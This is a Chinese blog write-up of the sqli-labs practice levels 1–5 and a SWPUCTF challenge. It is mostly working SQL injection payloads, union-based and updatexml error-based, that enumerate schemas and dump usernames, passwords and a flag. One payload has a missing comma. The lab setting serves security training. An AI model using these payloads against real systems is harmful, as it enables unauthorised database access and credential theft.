sqli-labs

文章讲述了在不同情况下利用SQL注入技术,逐步获取敏感信息如数据库名、表名和字段名,以及如何利用这些信息进一步爆破数据库和获取用户数据的过程。作者分析了字符型和数字型注入的区别,并展示了具体的攻击步骤。
摘要由CSDN通过智能技术生成

less-01

根据题目的提示要求输入数字值ID作为参数

在输入不同的值后会有不同的结果。说明输入的值以sql带入执行。

接下来判断sql语句是否是拼接,且是字符型还是数字型。

根据结果可以判断是字符型sql注入漏洞

--是起到注释的作用,+是启动空格的作用,在sql中用--注释后面必须加一个空格--才生效,可以用-- 加上空格在加上任意字符。#也是一个注释语句,但是在浏览器中提交时需进行url编码,%23。

联合注入:

?id=1'order by 3 --+(进行查询表格有几列)

?id=-1'union select 1,database(),version()--+(进行联合查询数据库名和版本) 

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(爆表)

该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(查询字段名)

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容 

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+ 

 less-02

 

根据以上可以判断是数字型注入 

其余和第一关相似 
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users


 less-03 

在输入?id=2'时发生报错,根据报错信息可知道可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

所以要通过以下代码进行注入

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+ 

less-04

通过报错信息可知道为字符型注入,闭合方式为“且有括号

用以下代码进行注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+ 

less-05

使用?id=1发现没有回显位

使用?id=1\根据报错信息可知为 ‘ 闭合 

判断注入点?id=1' and 1=1 --+

查询语句正确时页面会打印You are in...........,错误则不显示

爆库名?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表名?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

爆列名?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

SWPUCTF

根据源代码可知注入点为wllm

使用?wllm=1'出现报错,说明注入点是字符型

输到4的时候报错,说明字段数为3

爆破数据库名 ?wllm=-1' union select 1,2,database()--+ 

得到数据库名为test_db

爆破表名?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db" --+

 

可得到两个表名 test_tb和users,选择test_tb进行爆破

?wllm=-1' union select 1,2group_concat(column_name) from information_schema.columns where table_name="test_tb" --+

直接爆破数据?wllm=-1' union select 1,2,flag from test_tb --+

  • 24
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值